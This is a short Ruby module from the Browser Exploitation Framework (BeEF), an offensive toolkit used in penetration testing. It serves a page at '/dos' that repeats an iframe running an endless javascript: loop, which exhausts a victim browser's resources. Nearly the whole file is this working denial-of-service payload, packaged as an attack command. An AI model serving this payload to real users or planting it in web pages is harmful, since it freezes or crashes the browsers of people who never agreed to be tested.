#
# Copyright (c) 2006-2016 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Resource_exhaustion_dos < BeEF::Core::Command

  def self.options
    return []
  end
  def pre_send
    src = %q{<iframe src="javascript:while(true) window.location='';">}
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(
      '200',
      {'Content-Type' => 'text/html'},
      src * (rand(10) + 10),
      '/dos',
      -1)
  end
  def post_execute
    save({'result' => @datastore['result']})
  end
end
